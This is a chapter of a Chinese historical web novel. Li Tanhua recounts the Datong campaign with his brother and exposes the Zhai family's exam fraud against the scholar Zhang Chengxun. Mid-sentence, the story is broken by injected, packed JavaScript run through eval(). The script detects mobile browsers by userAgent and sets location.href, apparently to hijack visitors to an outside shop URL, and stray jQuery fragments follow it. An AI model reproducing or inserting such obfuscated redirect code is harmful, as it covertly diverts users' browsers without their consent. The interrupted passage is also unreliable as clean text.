皇帝叫李探花给翟銮寻些晦气，这件事是很容易办的。因为在本朝，活着即已经是皇帝的天恩浩荡，而只要皇帝收回加在此人身上的雨露，那么他连呼吸都能被拿来做些批判文章。所以无论高擢等人如何费心揣测，从初三开始他不过真的只是四处转转，玩玩而已。人只要有心，到哪里都能遇到好玩的事情，再说，所有人又无一不是那样殷勤地奉承着他。


    翟銮的老家在山东青州府，因此整个山东府的举子们都觉得面上有光，和当朝的首辅大学士攀上了乡谊。不过这也算不了什么，不代表特别的道德败坏；濮州的举子也认为已故的李廷相老尚书是他们在朝里的一个靠山。


    山东府的人，似乎都非常擅长交际，把他拉在大厅上，快快地打发人到外边买了菜蔬，片刻之间已然整治出了一桌宴席。


    李家有许多奇事，是在天下间流传的。就在这两年，曾和老李尚书同朝为官，也和他一起看过弘治、正德、嘉靖三朝风霜，经历过刘瑾祸乱的太常寺卿陆深陆大人，于嘉靖十九年辞官归里。陆大人自然有许多的文人雅好，在家闲着没事，召集文会，由他的儿子陆楫、外甥黄标，和一干的青年才俊，搜集古今中外的故事，作了一本《古今说海》，整整四部七家浩浩荡荡的一百多卷八卦故事，从唐朝一直说到本朝，最近刚出到第一百二十二卷。这书作得粗陋，但非常红火，陆楫负责沉浸故纸，搜罗故事，黄标执笔，陆深则提供他的鲜活见闻。作一部出来，墨迹没干，立刻就有书坊的人捧着赶去刊印。


    陆深因讲了不少他亲眼所见的闲杂事体在里头，譬如李家藏有《清明上河图》。在此之前，天下人只道此图藏在大内，陆深却一语道破：原来大内的那幅图是假的，正本却在李家的双桧堂中收着。于是有好事者问他是不是真的，李探花笑道：


    “是真的，不过十年前就早已献给了皇上，蒙皇上赏赐了一样更大的宝贝。”


    往下就不肯再说更多。大家又问他当日在大同作战的情形。陆深说，兵部侍郎李荣是位儒将，临危受命，总督九边军事，来到了大同府，将兵法一施展开，立刻打得鞑子丢盔卸甲，四散奔逃，当时还没取得功名的小李探花，竟随着他哥哥一道去了前线，而且十分悍勇地亲自提剑杀敌，当此之时，血流满地，日月无光，风沙扑面，号角阵阵……那看过《古今说海》里这一折的书生，越说越高兴，竟俨然像个说书的似了，李探花盯着他瞧，不住地笑，道：


    “这下好，我倒不知陆伯伯竟也随着我们的人马的么？他怎知道这般清楚？”


    千古文人都有一个侠客梦，大家眼望着他，好似见到了活生生的美梦的化身。这一会儿，会馆里实在是给挤得水泄不通，小李探花到了哪里，就是别的会馆里的举子们也都匆匆地赶了来，要一睹他的风采。大家一致地撺掇他讲讲打仗的事。他却不过，就说了一回。说到昔日他和哥哥一起来到大同，那会儿，大同府给鞑子围得水泄不通，李荣只带着一队轻捷的精锐，想要进城去而不得。增援的大部队还在后头，他们这点人，还不够给吉囊塞牙缝的呢。李探花气昂昂地道：


    “我杀进去就是了。瞧我这就去取那贼鞑子的首级！”


    说着捉起宝剑。李荣并不会武，他打仗也用不着武艺，此刻笑道：


    “好啦，你安心待着吧。我的法子比你的还简单许多。”


    “还有什么比擒贼先擒王更简单的？”


    “啊呀，小少爷，”李荣笑着给他理了理跑马而散乱了的鬓发，“你只管自家高兴，就不顾旁人的死活了。你要是有个三长两短，我哪里有面目见阖家上下？别说父亲大人和小表妹了，就连九泉之下的母亲也要托梦来骂我，大厅上奉茶的那叫雪隐的丫头，也要暗暗地瞪我，假作不小心把热茶望我身上泼了。”


    李探花笑道：


    “没了我，大哥在家里怎就如此水深火热了？那我永远也不离开大哥，以免你被人欺负。”


    “就是了。所以你安心待着罢。”


    说着，李荣就拉着他的手走出去，若无其事地吩咐人安营扎寨。随从们自然都非常吃惊，但他们不是一般的仆人，而是从军中特意挑选出来的精锐，知道对主帅的命令只有服从。一会工夫，不仅简单的营帐支了起来，而且锅灶的星点的火光也点燃了。从这些火光中，有经验的军事家可以非常轻松地判断出对方有多少人马，李荣在本该小心潜行的时刻仍这样大摇大摆，实在让人悬心。李探花拉着他大哥的手，抬起头来问：


    “然后呢？”


    “然后吃饭啊，”李荣笑道，“我哪里敢饿着你啊，瞧你。”


    伸手比量了一下自己的肩膀，和李探花的脑袋。李探花道：


    “我自然还是要长高的！”自跑到炉灶边坐下烤火不提。


    李荣笑了笑，仍站在原处，望向暮色中越发显得黑压压一片的山峦。他带来的二十余骑士兵，全都不敢松懈，警惕地望着四周，随时准备拼杀。


    拉锯战经过了好几个月，吉囊仍有二万精兵，要想冲破他们这个小小的宿营地，是很简单的。可是这一切都没发生。过了半个多时辰，远处飞来一枝箭矢，展开一看，却是吉囊军中的文书用汉话写的信。虽说是汉话写的，但用语鄙陋不堪，全无军中文书的体例。大意是说，他们的可汗请汉家将军进城。当时，这些蒙古骑兵一个个地全都耐着性子，分列两旁，给他们这二十来个人让出道路。李荣还是笑微微地，拉着弟弟的手，走在前头，进城去了。搞得好像这些你死我活的蒙古士兵是他们的仪仗似的。


    席间的这些书生们，一个个地都忘却了呼吸，问：


    “那……真就让你们进去啦？为什么啊？”


    李探花道：


    “我本来也不懂，可是一进大同城，上了城墙，看清了地形，也立即懂了。”


    一旁人早拿了纸笔来，他就提笔画下当日的山川图样。原来李荣因为大部队走得慢，竟就将计就计，叫他们索性慢慢地走，而且把队伍拖得长些、散漫些也不要紧，只要能在七日之内赶到大同的几个屯堡就可以了。那天晚上，李荣在山间举火造饭，山间的火光，就是远在十里地之外也看得清，于是所有接到信号的屯堡、卫所、营寨，纷纷地点起火来。吉囊当然早就发现了这二十来人，已计划在深夜悄悄包围，把他们一口吞下，那明朝天子派的大官儿，可作为一道好肉票。可是忽然之间，他发现漫山遍野四面火光，被包围的好像是他自己。


    气急之下，索性也将计就计，打算将他驱进大同城中，然后一道围起来。大同城被围困多日，粮草已尽，就是进去了也不过只是一道被困住罢了。吉囊倒想不到李荣进了城有什么特别的好处。没想到李荣要的只是大同城的那高高的碉堡，可以方便地冲全军发号施令，他命人树了十八杆颜色、纹样各不相同的大旗，每一杆都要三四个人抬着，过不了一炷香就得轮换人手；鲜艳的色彩和简单的号令，隔着很远依然能看得清，然后再将命令一传十、十传百，竟比常规作战使用飞马的骑兵传令还要高效，战争到了这一步，就像一盘棋不用下完也知道胜负已分，后来李探花出城杀敌，不过是一点末流功夫罢了。


    众人听得两眼发直，追思往日。李探花却想到当日他浑身是血，热腾腾地提着宝剑走回来，那宝剑上的血滑腻得他非得紧紧地握住剑柄，否则就要脱手而落。大家都恭维他是少年的英才，文武双全，他也一点不谦虚，笑道：


    “我从前觉得应当考状元，做大学士，可是现在觉得做大将军也挺好，能不能又当大学士，又当大将军？”竟好像是为人间享不过来的荣耀而烦恼。大家都笑着说，只要他想要，没什么得不到的。


    李荣是主帅，当然坐在堂上，在几案后头看着一纸文书，见了他，轻轻地一招手，他就乖乖地过去，自己告饶道：


    “大哥，再也不敢啦……”


    “是你大哥我再也不敢了才对，以后再也不敢带你出来了。”


    他一听，立刻上蹿下跳，又是撒娇，又是求饶。李荣无奈地笑了一下，取过侍从送上来的手巾给他擦脸。说：


    “见着那么多尸体，怕不怕？”


    李探花道：


    “不怕！我杀了好些鞑子呢！”


    李荣已将那手巾抹成红的了，此时仔仔细细地看看弟弟的面容，仍是鲜亮、白净的一个少年，便有些满意，将手巾抛在盆里，道：


    “你这孩子总也没个怕觉。”


    李探花站在那，由人将铠甲脱了下来，然后坐在李荣的身边，挨着他，道：


    “大哥难道怕尸体？”


    “看多了就不怕了。”李荣道，“我从前还数呢。后来也不数了。数也数不过来。”


    然后又伸手抹一抹他的脸颊，好像那里有块什么脏东西似的。可是明明已经很干净了。


    数月后的诏狱，隔着栅栏和李荣做无声对峙之时，他想到那天李荣说“从前还数呢”。虽然李荣当时还好端端地活在他面前，他却牙关颤抖起来。李荣用染满血迹的手指，轻轻地、最后地一蹭他的面颊。


    那天晚上他拼死闯进诏狱，大哥却不肯跟他走，他近乎失态而险些惊动了守卫，还是陆炳带着他好容易才潜离这是非之地，走小路来在外面的街道上。这是有名的花街，迎面却正正好遇见了几个朝中相识的人物。本朝虽然不许官员狎妓，但反正风气如此，管也管不过来，所以私底下大家都并不互相避讳，见了他，笑道：


    “呦，小李探花，瞧你脸上脏的，怕不是吃了女人胭脂了罢！”大家哈哈大笑起来。


    在满堂的笑语声中，又有人将他从往事的沉思中唤醒。


    “李探花。李探花！”


    他这才意识到自己不知不觉又伸手摸着了面颊。他回过神来，笑道：


    “外头那是什么动静？”


    大家这才向外看去，只见会馆的大门敞开，一个衣衫破烂，疯疯癫癫的人物，在门前跑来跑去，那门子就极力地驱赶他。李探花走出去，众人也都随着他出去，七嘴八舌地告诉他：


    “你别管他！他是个疯子。”


    李探花道：


    “看这人的模样也是书生打扮，怎么疯了呢？”


    人家就说：


    “我也是听人说的。咳。这人叫张承勋，去年秋闱没中，他当即就疯了，九月以来，在街上四处要饭，要纸笔……”


    “那就给他纸笔。“


    “瞧您这话说的，难道他还能作文章么！”


    “给他。”李探花懒散地说。


    那疯子见了纸笔，用笔蘸了墨，在纸上乱点几下，弄得乌七八糟，哈哈大笑，将笔一掷，跑走了。


    大家便纷纷地笑道：


    “疯子嘛，自然是只会作‘梅花篆字’了。”


    盖梅花篆字是一个源远流长的笑话，大约是说，一个考生岂止是不学无术，压根他就不识字，进了场不知往卷纸上写什么，只好蘸了墨汁，一转一个圈儿，一转一个圈儿，做成一幅“墨梅图”，所谓梅花篆字是也。后来他就买得了个功名。


    李探花望着疯子离去的方向，忽然飞身跃起，跳到房上，将下面乌泱泱的一大堆人撂下，走了。


    疯子到了晚上，也是有地方去的。虽然他自己的神智并不清醒，有时候眼见得前面就是河，还径直迈腿。全靠山东会馆厨下的一个樵夫，好心看觑着他，给他一碗饭吃，让他和自己一道睡在马棚子里。初九，整个会馆都安静了，绝大部分考生俱已入场，那樵夫在马棚里坐着，端着一碗麦饭，往面前的破碗里拨了一半。疯子瞧见饭，也不动，非得樵夫点了头，他才上手去抓，然后又挨了两下揍，非揍得他知道用筷子怪模怪样地扒饭了不可。


    这个僻静的所在，沾着稻草和马粪的气味，臭不可闻，平常是没人过来的。可是偏偏有个美丽的青年，穿一身朱红的衣裳，佩着两把刀，径自走进这座马棚。那樵夫讶然道：


    “老爷，您是要用马？”


    青年笑道：


    “不是啦，我来找一个人。”


    樵夫爬起来，殷勤地说：


    “我带您上门子那儿问去。您怕不是要找馆里哪个读书的老爷罢？”


    “我找一个叫张承勋的人。”


    那樵夫将这名字在口里念叨了两遍，指着那正扒饭的疯子道：


    “老爷，您不会说的是他？这是没考中，活活急疯了的，是我们这儿的一个笑话。”


    李探花道：


    “可是，非亲非故的，你还给他饭吃？”


    “他也是可怜。”


    李探花也在稻草上坐下，他带了一瓶酒，给樵夫倒了一碗。樵夫问：


    “你这位老爷要找他一个疯子做什么？”


    李探花道：


    “我想听一听他的经历。你知道吗？”


    那樵夫欲言又止，后来终于说：


    “知道一点。”


    他咕嘟两口就咽下了一碗酒，望了望那疯子，说：


    “这个张承勋，他是庆阳府安化县人，家里头先很富裕，人家都叫他‘安乐公子’，他的生活果然也好和乐。就因为不愁吃穿，所以从小无心念书，他父亲平日里四处为善，虽有万贯家资，也是粗茶淡饭安分度日，对这个儿子，倒也不拘着他一定要干什么，只要他这辈子平安、快活就好。后来来了个鱼肉乡里的县官，把他们张家欺侮得不像话。有钱没权，在这世上就像一块肥肉，谁都能来咬你一口。姓张的这才慌了，发奋读书，想得个功名，不成想名落孙山，他就疯了。”


    李探花用手撑着头，又给他斟上一碗，说：


    “我还知道有关于张承勋的别的事。”


    樵夫忽然抬眼极锐利地瞪了他一眼，可是转瞬之间，又恢复了那下人谦恭的面貌，道：


    “想不到你这样的大人对一个疯子这么关心。何必呢？”


    李探花道：


    “我这人就是爱多管闲事。”


    “你也觉着他可怜么？”


    “不。”李探花轻声道，“他尽了力了。”


    樵夫不说话了。


    李探花道：


    “我知道的那个张承勋，也是庆阳府安化县人，嘉靖二十二年，他到顺天府来乡试，进场的时候，他的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995998|193873||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    号和三位大官的子侄排在一起。这三位世家的少爷，进场见了他，一定很惊讶，连着很生气。因为他们本是四个人一起来的。他们四个人最是相好，到哪里都在一块。这四个人，是翟銮大学士的两个儿子：翟汝俭、翟汝孝，还有他们的蒙师崔奇勋，以及翟家的亲家焦清。他们的号本该排在一起的，这在他们心中是理所当然的事情，因为在开科之前，本场的主考官秦鸣夏还曾经去拜会过他们的父亲翟大人，而且唯唯诺诺，对大学士的意思不敢有半点违背。他们打算用的是一种很古老，但有效的作弊方法，四个人坐在一起，崔奇勋写完卷子，和翟汝俭交换，焦清写完卷子，和翟汝孝交换。那两人的文章好，两位翟少爷的文章坏，这样，保证两位翟少爷一定中，少爷的两位出了力的奴婢，从放榜的结果看来，也让他们中上了——这是他们的一个稳稳当当的计划，那么这个张承勋是哪里冒出来的呢？为什么和那三个人连号的是他，而不是崔奇勋？”


    樵夫道：


    “因为……他们的名字里都有个‘勋‘字。”


    李探花笑道：


    “是啦。我猜也是。昨晚我已将秦鸣夏大人请到我们南镇抚司衙门聊了会子天，他告诉我，虽然翟大人的声威他不敢违抗，可是他心里也有气，大家都是寒窗数十载，辛辛苦苦念书考上来的，凭什么他们做大官的就这么猖狂？于是他总还想偷偷做点手脚。当日他随手翻看名册，发现这个叫张承勋的，和那崔奇勋的名字有一个字相似，他就将两人的号换了过来，日后翟大人若是怪罪起来，大不了他赔罪说是自己眼花看错了，不至于让翟大人觉得他是成心不服他，降下大祸。这人不肯大造反，只肯小造反，可是他一造这个反，张承勋就倒霉啦。你说是不是？”


    樵夫道：


    “他——我猜那三个人见了他，一定恼怒极了，而且这张承勋也一定一头雾水，哪里肯把卷子跟他们交换？”


    “你说，翟家兄弟会不会就此恨上了他？”


    “……也许罢。”


    “翟家兄弟会不会刻意地想要报复他？考完之后的卷册虽然糊着名字，可是四个人的卷子是连在一起的，也很是好找。在同考官中，有个叫欧阳?的，也是翟家兄弟的授业恩师，阅卷时他虽然表面上装作避嫌，不肯看这一册卷子，可是私下里却帮着辨认出了两位翟少爷的字迹。按照次序，当然就能很轻易地知道哪个是张承勋的卷册了。张承勋的文章，一看便是非常好的，一定能中；翟家兄弟就贿赂了管封卷的一个小衙役，要他悄悄地把翟汝俭和张承勋的两张卷纸抽出来，在场外模仿各自的字迹，将文章交换着誊了一遍。当日放榜之时，便是翟汝俭高中而张承勋落第了。”


    樵夫自斟自饮，叹道：


    “我要是他，我怎么肯甘心！”


    李探花道：


    “以往发生割卷这种事情，要查出来其实很容易，因为很多举子都会在出了贡院之后，赶快将自己的文章默出来找宿儒品评，等放榜以后，按惯例又会有官方出一册墨卷来供天下举子模范，因此中者的文章都明白可查。那张承勋不甘心，找来墨卷想要参看什么样的文章能中，一看之下，发现自己的文章却被那翟汝俭冒了去，当然非常气愤，就要跑到顺天府衙门去告状。”


    “翟家的势力，怎能由得他来！”


    “是啊，所以我猜，他连会馆的门都没能出得去，就被人给制住了。翟家兄弟最开始倒也不会太难为他；大概是用银两封他的口。或许还知道他家里的难处，提出要帮帮他。”


    “有骨气的人，怎能忍受！一千两银子，就想买走一个人的前途，这是做梦！我——我要是张承勋，就无论如何也要去告他一状！”


    “可是翟家兄弟当然不肯让他这么做了。他们一定想把他赶出京城。最坏的就是杀人灭口。”


    “或者……逼疯。”


    那樵夫静静地看着疯子。疯子倒很和乐，吃完了麦饭，在那揪着自己衣服上的一个线头玩。李探花看了两人半晌，忽然道：


    “你瞧这个。”


    那樵夫看时，他却将腰间的牙牌摘下来，递给他。这是南镇抚司的凭证，眼前这是一位权倾朝野，以皇帝为靠山的大官。李探花柔声道：


    “我是南镇抚司的指挥，我可以做他的靠山的。我可以替他伸张正义……你跟我走吧。我带你去见顺天的府台，带你去见皇上，带你去和翟大人当面对质，其实，皇上也看不过翟大人了。你的文章很好，理应得到你应得的一切。”


    樵夫紧紧地咬着牙，一句话也不说。李探花道：


    “你就失望得对什么也不相信了吗？”


    樵夫道：


    “我爹，人称‘张老善人’。他一生相信好有好报，恶有恶报。这几个月我一直留在京城，明知道我的家中一定正遭遇一场大祸，我还是不敢回去。我不孝，因为我不知道怎么回去面对我爹，不知道怎么向他解释这一切。为什么我们积德行善，却没有余庆？为什么我的文章好就活该被偷？为什么他们能拿一千两银子就买走人的所有尊严？为什么这件事闹到最后，你来了，你说你有权势？比翟家更有权势？你可以帮被他们欺压过的我们再欺压回来？这世上难道不相信积德行善，只相信互相欺压！”


    李探花默默无语。那樵夫站起来道：


    “既然被你看破，我就走了。我回家去……带着我的老爹，飘零江湖去……我会写文章，你都说我的文章好，那么我就到衙门前头给人家写状子去吧。这个疯子，是我在街上捡到的，我原不认得他，也不知道他是哪里来的。当时他快饿死了，我也被翟家逼迫得要跳河。后来，我就借跳河和这疯子交换了身份，我和他换了衣裳，潜在山东会馆，找了个樵夫的事做，照顾他，让他冒我的名字，逢人就说，‘张承勋’因为没考中所以疯了。翟家兄弟也不屑得三天两头的亲自来看这到底是怎么回事，更无心仔细辨认他那张脏脸，听说张承勋疯了，也就高枕无忧了。”


    张承勋低头望着李探花，道：


    “我不愿领你的情。你和那些一有机会就去欺压别人的人，也是一伙的！可你既然这么有钱，有权势……”


    李探花殷殷地仰头望着他。张承勋道：


    “那么求你……照顾这个疯子吧。为此，我会念着你的好的。告辞。”


    当天，张承勋就离开了顺天府。黄昏时城门将要关闭，大家都赶着进城，他倒与汹涌的人潮相反。出城的时候，依然做樵夫装扮，背上背着一捆柴。他身无分文，可是靠打柴就饿不死。


    路过城门下时，他好像有所感应，回头看去。只见一个穿着朱红袍子的青年，坐在城门边上一户酒家的屋顶上，身边放着一个酒壶。他用筷子敲着酒杯，唱了起来：


    坎坎


    伐檀兮


    置之河之干兮


    河水清且涟猗


    不稼不穑，胡取禾三百廛兮


    不狩不猎，胡瞻尔庭有县貆兮


    彼君子兮


    不素餐兮*


    张承勋冲他一拱手，去了。


    *《文选注-梁-萧统》卷二十七，《伐檀》